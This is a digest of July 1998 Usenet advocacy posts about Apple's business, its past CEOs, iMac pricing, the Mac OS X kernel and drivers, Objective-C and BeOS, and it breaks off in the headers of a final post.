References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu>
In article <rmcassid-1607980934480001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <6ojtmb$otj$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
> >rmcassid@uci.edu (Robert Cassidy) wrote:
> >> They just need to get unit shipments and revenues up. Some concern with
> >> iMac still being impacted through October, though. Don't look for a price
> >> drop on iMac _this_ year, I think.
> >
> >Which is a real shame, b/c if they released the imac for 999, it would make
> >all the difference in the world. It would just tear new aholes in the
> >market. At 1300bux, it really is not all that competitive to the wintel
> >market, unfortunatly. Still very cute and cool. I might even get one; when
> >it goes down to 999 that is. (woowhoo :)
>
> I'm not sure how, other than psychologically.
>
> Apple has stated that they _hope_ they can meet demand by xMas. The
> problem simply comes down to a case where Apple can't make as much as the
> market wants. Given that, the prices will stay up.
>
> As for price competitiveness, I'd say it is well balanced. Sure, there are
> cheaper systems out there, but Apple appears to be throwing in some speed
> and quality to offset the cost. Reasonable. So long as 20% of the market
> find value in quality then Apple should be ok with this strategy
> near-term.
>
> At $999, it really would tear a new ahole in the market, though.
Not really.
At $1299, Apple is probably going to sell as many as they can make. At
$999, they wouldn't sell any more, so the market impact would be no
greater.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 21:26:41 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1607982126410001@pelli.pathology.pitt.edu>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <6oimuj$nsq$1@news00.btx.dtag.de>, Fam.Traeger@t-online.de
(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> <not@my.address.net> wrote:
>
> > On 07/11/98, "Michelle L. Buck" wrote:
> > >
> > >there will never be
> > >enough YellowBox installations to support high quality horizontal
> > >applications.
> >
> > I don't see why. Any machine that runs Max OS X will host the yellow box
> > runtime. And if the windows runtime is free, it can be distributed
> > transparently with any horizontal app that ships.
>
> Bingo! If you want to write apps for the Mac, would you chose an API
> that runs on Wintel but not on a large number of Macs still in use, the
> 68ks?
In a new york second.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: pxpst2@spam.suxs.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 21:49:35 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1607982149350001@pelli.pathology.pitt.edu>
References: <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net> <B1D3D746-223D1@206.165.43.46>
Mail-Copies-To: pxpst2@spam.suxs.unixs.cis.pitt.edu
In article <B1D3D746-223D1@206.165.43.46>, "Lawson English"
<english@primenet.com> wrote:
>
> Sculley got Jobs ousted because he was acting like a nutcase and no bank in
> America would give Apple a loan as long as "that nutcase" [rumored direct
> quote] was still in control of Apple.
I think this is revisionist history
>
> Sculley, the person who ran Apple into the ground, took it from being a $1
> billion/year company to a $12 billion per year.
A monkey could have done this. Sculley was given the First multimedia
computer to sell and there was no compitition. Schulleys failure to clone
the Mac was his biggest failure....AND IT WAS A WHOPPER
>
> SPindler was an interesting case. He obviously had severe physical and
> mental problems when he took charge.
Agreed.
>
> Amelio then took charge, with no effort made to find an alternate
> replacement.
Amelio was hired to cut costs.That is what he was known for. Before Apple
Gil was the CEO of National Semiconducter. When he came to Nat. Semi.
they had 1 week of operating capatal. Anyway He was hired as the CEO for
the Corporate Downsizing of Apple but He did not bring down the Axe HARD
ENOUGH
> Jobs then took charge, with no [serious] effort made to find and alternate
> replacement.
Jobs has done a fabulous job at Apple. I know you do not like him Lawson
but he has taken there margins from ~15 % to 24 % and the stock is doing
well, very well
>
> There's an interesting pattern here, if you're willing to examine it (which
> I doubt):
>
> Markkukla (the principle stockholder ) was followed by Jobs (hand-picked by
>
> Markkula, the principle stockholder) was followed by Sculley (hand-picked
> by
> Markkula, the principle stockholder) was followed by Spindler (hand-picked
> by
> Markkula, the principle stockholder) was followed by Amelio (hand-picked by
> Markkula, the principle stockholder) was followed by Jobs (hand-picked by
> Markkula, the principle stockholder).
After Gil left, Markula relinguished his majority stake in Apple. He is
no longer in control.
BTW, If I wanted to shake anbody's hand. It would have to be that old
dude from Dupont on the Apple board. He is the man that saved Apple. ;-)
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998071701462100.VAA21964@ladder01.news.aol.com>
Date: 17 Jul 1998 01:46:20 GMT
Organization: AOL http://www.aol.com
References: <mNOSPAMroeder-1407981855360001@192.168.21.171>
Michael Roeder said:
>Unlike the folks at Microsoft, the designers of the Mac UI have
>user-testing that show that major changes are n ot necessary.
Does anyone else find this attitude surprising from a person whose company's
flagship program, Freehand had its genesis (not FH 1-3, but FH4 being descended
from Virtuoso) surprising?
I suspect that if one were to query the tech support line at Macromedia that
one could find lots of elements of the Apple UI which are inconsistent,
confusing and in need of change if one were to value consistency and elegance
over the known norm.
Please review this thread in its entirety for examples.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998071701491500.VAA22348@ladder01.news.aol.com>
Date: 17 Jul 1998 01:49:15 GMT
Organization: AOL http://www.aol.com
References: <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
Tokarek said:
>OpenDoc was interesting. A document centered way of computing was new.
I take it that you've never heard of HP's NewWave? At one time, it was slated
to be used as the UI for NuTek's Mac clones, and it did ship for Windows v1
through 3.1.
Similarly, PenPoint's tabbed notebook interface was very document oriented.
If you've any genuine interest in interfaces, you should look these up.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998071701513500.VAA03620@ladder03.news.aol.com>
Date: 17 Jul 1998 01:51:33 GMT
Organization: AOL http://www.aol.com
References: <joe.ragosta-1507980648180001@elk60.dol.net>
Ragosta said:
>Which OS has the highest productivity?
>Which OS has the best ease of use?
>Which OS has the lowest TCO?
Did any of these studies take NeXTstep into their tallies?
I'm far more productive under OpenStep, it's easier to use and more consistent,
and has the lowest cost of ownership of any machine I've every had access to.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 00:34:10 GMT
Organization: I don't think so
Message-ID: <slrn6qt78n.tv.jason@jhste1.dyn.ml.org>
References: <pxpst2-1607981151540001@pelli.pathology.pitt.edu> <B1D3E732-5E1BC@206.165.43.46>
Lawson English posted the following to comp.sys.mac.advocacy:
>>As for doubting Henry Norr, well when was the last time that he had to
>>write code that would make money. And How many insiders does he know?
>>Writing about code is not the same as writing code.
>Henry Knorr has been writing about the Mac since it was first released.
>Until recently, he was serving as editor *emirtus* for MacWeek. He's
>probably on a first name basis with every CEO and President of the company.
C'mon, Lawson - you know as well as anyone that people who don't
worship Apple have no credibility around here.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 17 Jul 1998 01:52:20 GMT
Organization: wazza?
Message-ID: <6omaok$snn$2@server.signat.org>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org>
<Pine.SOL.3.96.980716165331.3753C-100000@ux7.cso.uiuc.edu>
Mime-Version: 1.0
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Cc: tokarek@uiuc.edu
In <Pine.SOL.3.96.980716165331.3753C-100000@ux7.cso.uiuc.edu> Pulsar wrote:
> It kinda sounds like OSF's Mk.
From everything I remember at WWDC, it WAS OSF. However no one else seems
to remember it that way. Rumors posted a note about a site of QT's of
various WWDC meetings, does anyone know of this?
> Then it seems quite ridiculous to ignore Mk and write their own.
> Is this the old Apple NIH syndrome getting in the way again?
No, I think this is something new entirely - they appear to want to have to
licence nothing at all. For instance, you'll note that they are dropping
DPS, I don't think they want to but Adobe clearly wouldn't give it to them
free.
> Does anybody share my tiny sense of hope that actually Apple will just use
> Mk and have support for virtually all PowerMacs
Ahhh, big difference between having support, and having _supported_
support. As well as Apple is doing, QA'ing drivers is an expensive process,
and I don't know if they don't have better things to spend it on. Suffice it
to say though that they could write excellent quality totally tested drivers
for the entire line of PPC Macs ever made with far less that this quarter's
profits.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Mach Kernels, MkLinux, and Mac OS X
Date: 17 Jul 1998 01:54:46 GMT
Organization: wazza?
Message-ID: <6omat6$snn$3@server.signat.org>
References: <Pine.SOL.3.96.980716142711.2583A-100000@ux7.cso.uiuc.edu> <6olq3g$jeh$1@server.signat.org>
<sdavis-1607981711490001@149.118.128.38>
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Cc: sdavis@aureal.com
In <sdavis-1607981711490001@149.118.128.38> Stephen A. Davis wrote:
> Here's the trick. Yes, the Rhapsody kernel is based on Mach 2.5 but it
> also incorporates some things from 3.0, some things from 4.0 (lookin' like
> OSF Mk), and the biggest change of all -- a new driver architecture.
I believe the reference to "new driver architecture" means "Mk driver
architecture".
> The driver model that Mk uses does not fit into Apple's idea of a
> user-friendly & dynamically-loadable driver architecture.
Sure it does. Add I/OKit and it's easy to code the drivers too.
> have any notion of device families which pertains to the commonalities
> between similar types of devices: sound cards, video cards, keyboards,
> etc.
Sure, that's what I/OKit is for.
> I think this new plan is an admirable goal and makes hot-swappable busses
> like FireWire and USB a dream to use and support.
Before we go any further, I think the first sentance I posted needs to be
discussed.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 01:49:11 GMT
Organization: wazza?
Message-ID: <6omain$snn$1@server.signat.org>
References: <6ol3ov$722$2@server.signat.org> <B1D3E1B6-497D2@206.165.43.46>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1D3E1B6-497D2@206.165.43.46> "Lawson English" wrote:
> "I [f] you don't have a history with MacOS customers, YB offers a larger
> >market.
Sure,€but I think it offers a larger market even to those people. I know a
lot of util vendors and such that would kill for a good clean way to go
x-platform (heck, it would have made SA's job easier too).
> If nothing else, you have their mailing address because THEY sent it to
> you.
Sure, no doubt.
Maury
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 16 Jul 1998 21:44:54 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6omdu6$i1q3@odie.mcleod.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se>
Lars, you just don't get it.
There is a wonderful on line book titled "Object Oriented Programming and
the Objective-C language." It is short. It available on line from Apple.
It is a good read. If you really care anymore, reference the book. If this
thread keeps up, it will be longer than the book soon and I am tired of
typing.
One of the nicest things about Objective-C is that it is fully expressive
and the entire language can be defined and explained in 8 pages. (p 143 to
p151) in my hard copy version. Stroustrup's "The C++ Programming language"
does a poor job of explaining a less powerful language in 647 pages (2nd
addition) and should be read with its companion apologist "The Design and
Evolution of C++".
You keep saying things that suggest that you can not imagine a use for LATE
binding. I cite the following uses:
Java beans,
plugins,
distributed/remote objects without need for IDL,
native language message passing in GUI's,
reduced need for common design patterns,
reduced complexity of implementation of common design patterns,
language bridges to interpreted languages like Tcl, perl, and python,
collection classes in general,
shared libraries that can change independent of the applications compiled
against them,
and reduction of the fragile base class problem.
Date: Thu, 16 Jul 1998 20:26:39 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Message-ID: <stevehix-1607982026390001@ip30.safemail.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>
Organization: Close to None
In article <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>,
shawnm@snd.net (Shawn M.) wrote:
> Gassee was NEVER the CEO of Apple.
Then who *was* CEO between Scully and Spindler?
Date: Thu, 16 Jul 1998 20:30:05 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Message-ID: <stevehix-1607982030060001@ip30.safemail.com>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com>
Organization: Close to None
In article <35AE858A.2576@betabreakers.com>, Josiah Fizer
<jfizer@betabreakers.com> wrote:
> George Graves wrote:
> > > You're saying JLG has failed because he doesn't rule the world. I'd ask
> > > who else has done as well.
> >
> > No, a GUI has failed when it has no MAJOR applications. Be still has no
> > support from the major players.
> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> or other people that rigth the crap we all have to use at our office?
Sun and HP *are* "major players".
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 17 Jul 1998 02:42:47 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6omdn7$o8c$1@news00.btx.dtag.de>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk>
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Per Erik Rønne <xerxes@diku.dk> wrote:
> UNIX has always had protected memory.
Nixen on early PCs (e.g. XENIX) certainly did not.
Lars T.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Thu, 16 Jul 1998 21:31:23 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org>
In article <6olsfi$jeh$3@server.signat.org>, maury@remove_this.istar.ca
(Maury Markowitz) wrote:
> In <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> George Graves
> wrote:
> > He has said that he will not take the job permanently.
>
> Sure, but does any CEO really have such a title? Heck, goodbye Chainsaw
> (and good riddance)! Considering that Apple's had "perm" CEO's that have
> lasted for less time, I'm not really sure the title really means anything.
>
> Heck, everyone dies in the end anyway.
>
> > too literal here, but doesn't that mean that he will leave at some point?
>
> Sure, but I _really_ doubt it will be in the short term. There's a big
> group of people who just had Apple makes them millions in stock as it shot up
> THREE TIMES in SIX MONTHS, and I'm sure the rank and file are pretty damb
> happy with him overall.
>
> And more, I think he's enjoying himself now. I'm sure he really did want
> to leave when Gil was running it, and then when it was first handed to him.
> But he HAS turned it around, and I think he loves the glory.
>
> If this trend continues for another year, his term at Apple will be viewed
> as one of the greatest turnarounds in corporate history, ranking up there
> with Iacocca. Let's not forget that he took a company that was literally a
> couple of months away from not being able to pay it's bills, into one that on
> the front page (in a good way) of every business section in the country (our
> country too) and in some ways the company is now better off than anyone,
> notably in inventory control and margins - and the former has been a BIG
> trouble spot for them for YEARS.
>
> > I don't think that Jobs is grooming anyone.
>
> Nor me.
>
> > My theory is that he is trying to get the company in good
> > enough shape for it to look attractive to a buyer.
>
> Disagree, the stock valuation is too low. If someone wanted to do this,
> they could do it now.
>
> > For Apple to be bought by either a kindered spirit (like Sun) or a
> > deep pockets company (like Philips, IBM, or Motorola) would be the best
> > thing that could happen to either Apple or the Mac.
>
> No, the best thing would be for the iMac to sell truckloads, and capture
> even more press. Everyone seems to think this is a done deal. You don't
> have to sell the company off for it to do well - obviously - and what can
> those companies do that Steve hasn't already?
Run the company like adults on a permanent basis. Restore some of the
lost credibility, move Apple toward being a mainstream computer, instead
of being an isolated curiosity, reinstate clones.
George Graves
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Thu, 16 Jul 1998 23:37:11 -0400
Organization: none
Message-ID: <id_est-1607982337110001@192.168.1.3>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com>
In article <6olevn$pgd$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Right. And that's a shame, because if they could meet the demand of a $999
> machine, they could win major marketshare (relative to what they have now),
> make their platform a more attractive one as a consequence, sell more
> upgrades for OSX/Rhapsody, and in general get more of a toe hold. If Japan
> and ms teach us anything, marketshare is *the* valuable prize.
Given the current state of the Japanese economy I don't know that one
should take those lessons that seriously.
My prediction is that in Apple adds CardBus Slots to the iMac in the late
Fall (maybe ups it to 266) and keeps the price the same and then cuts the
price after christmas down to $999, maybe another speed bump too.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 21:46:04 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607982146050001@sf-pm5-7-71.dialup.slip.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net> <6oj5a0$goe$1@hole.sdsu.edu> <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>
In article <19980716135346246924@slip-32-100-222-17.wa.us.ibm.net>,
shawnm@snd.net (Shawn M.) wrote:
> tomlinson <etomlins@rohan.sdsu.edu> wrote:
>
> > George Graves (gmgraves@slip.net) wrote:
> >
> > : management, past and present and point fingers (If I had to pick one
> > : Apple personality upon which to pin the majority of its resultant
> > : woes, that person would be Jean Louis Gassee. His tenure at Apple
> > : is proabably the most responsible for Apple's poor marketshare today.)
> >
> > This is I think the second time I have seen Gassee criticised as
> > chiefly responsible for Apple's more idiotic decisions. Lacking
> > any knowledge of Gassee's tenure at the company, I can't judge the
> > statement. What's the story? What did he do?
>
> Gassee was NEVER the CEO of Apple. If you want to blame someone for
> Apple's former mistakes and "almost demise", try taking a look at John
> Scully and the person who was CEO immediately after him [name escapes me
> at the moment] as two of the people who really ran the company into the
> ground.
That would be true in any OTHER company, not at Apple. Scully and Spindler
lacked two things to be effective CEOs (1) a clue, (2) any real power.
Management by concensus, might, as I said earlier, work in political
organizations, but in business it doesn't work at all.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Thu, 16 Jul 1998 21:49:23 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com>
In article <35AE858A.2576@betabreakers.com>, Josiah Fizer
<jfizer@betabreakers.com> wrote:
> George Graves wrote:
> >
> > In article <6okstp$mkm@nntp02.primenet.com>, John Jensen
> > <jjens@primenet.com> wrote:
> >
> > > xmac@my-dejanews.com wrote:
> > > : Look at Be and how far (not) they have gotten in the past few
years. You may
> > > : also wish to notice that Gasse's first instinct with Be was to
base it on a
> > > : largely proprietary hardware platform and only when sales tanked
did they
> > > : decide to port to PowerMac and then Intel. Be either needs to get
some major
> > > : backers quick or go opensource with the whole thing. (IMHO)
> > >
> > > That's a wierd way to measure things, bud. Be is healthy, is hiring, and
> > > has a new general purpose OS on the market. Has anyone else achieved that
> > > in the last 5 or even 10 years? Linux and FreeBSD, but there is a bit of
> > > a different dynamic there.
> > >
> > > You're saying JLG has failed because he doesn't rule the world. I'd ask
> > > who else has done as well.
> >
> > No, a GUI has failed when it has no MAJOR applications. Be still has no
> > support from the major players.
> >
> > George Graves
>
> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
> or other people that rigth the crap we all have to use at our office? I
> would just as soon not see the large bloated programs ported to BeOS
> (gaining more bloat on the way).
You don't get it. Sun, HP, and SGI DO have support from major players.
They aren't necessariliy the SAME major players that are in the office
computer market, but they are major players nonetheless. Care to tell
me the names of any REAL, useful software on Be?
George Graves
From: drooling.idiot.nospam@euronet.be (Little Piggy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 17 Jul 1998 04:59:28 GMT
Organization: EuroNet Internet
Message-ID: <35aed9f5.59069898@news.euronet.be>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net>
gmgraves@slip.net (George Graves) wrote:
>You don't get it. Sun, HP, and SGI DO have support from major players.
>They aren't necessariliy the SAME major players that are in the office
>computer market, but they are major players nonetheless. Care to tell
>me the names of any REAL, useful software on Be?
>
Here;s a novel idea, if you don't like BeOS and have some sort of
problem with it don't use it. I don't see anybody forcing you to.
>George Graves
--
Little Piggy
Who is General Failure and why is he reading my hard disk?
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 16 Jul 1998 22:02:28 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35AE6A5E.3618@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <Josh.McKee-1307982018460001@pm3a3.rmac.net>
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To: "Joshua T. McKee" <Josh.McKee@cbns.com>
You said it brother!
Steve
Joshua T. McKee wrote:
>
> In article <6oe0e0$u3k$1@piglet.cc.uic.edu>, amaliy1@uic.edu (Anil T
> Maliyekke) wrote:
>
> > I'm not comparing Mac OS X to Rhapsody, I'm comparing it to Mac OS 8.
> > I just wondering how many of the machines that were sold prior to
> > debut of G3 machines will truly be fit to run Mac OS X without
> > memory and or disk upgrades, and how many users/organizations would
> > really want to upgrade machines that are more than two years old at the
> > time of Mac OS X's debut. No doubt, users want a better OS, and
> > no doubt some people would buy it, but the question is how many
> > people will actually being willing to perform a major OS upgrade
> > on an older machine. An upgrade from Mac OS 7.x or 8.x to Mac OS
> > X is going to be a major event, and it isn't going to be a decision
> > that many people are just going to jump into. The basic question
> > for Apple is whether upgrade revenues from these older
> > machines is going to equal the upfront investments they have to
> > make to support the older machines.
>
> These "older machines" are 350MHz Power Mac 9600's for crying out loud.
> These "older machines" have the capacity to handle 768MB of memory (which
> is *dirt* cheap now days). These "older machines" can handle CD-ROMs of
> 32 X, and HD's in the GB range. These "older machines" can accept G3
> upgrade processor cards running at 300MHz (currently the fastest
> technology available).
>
> You may feel that the system I am demonstrating here might be the
> exception, and not the norm. But the fact remains the same, this
> "exception" won't be able to run OS X.
>
> A lot of these "older machines" can readily handle OS X (at least I would
> hope, otherwise OS X would be a pig).
>
> And finally, Apple led customers to believe that these "older machies"
> would run Apple's next generation OS (at the time, Rhapsody which is dead
> because Apple decided OS X was to be the next generation OS).
>
> Pulsar is 100% correct...I don't see any really good reason why these
> "older machines" cannot run OS X.
>
> Josh
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 16 Jul 1998 21:54:08 +0100
Organization: EarthLink Network, Inc.
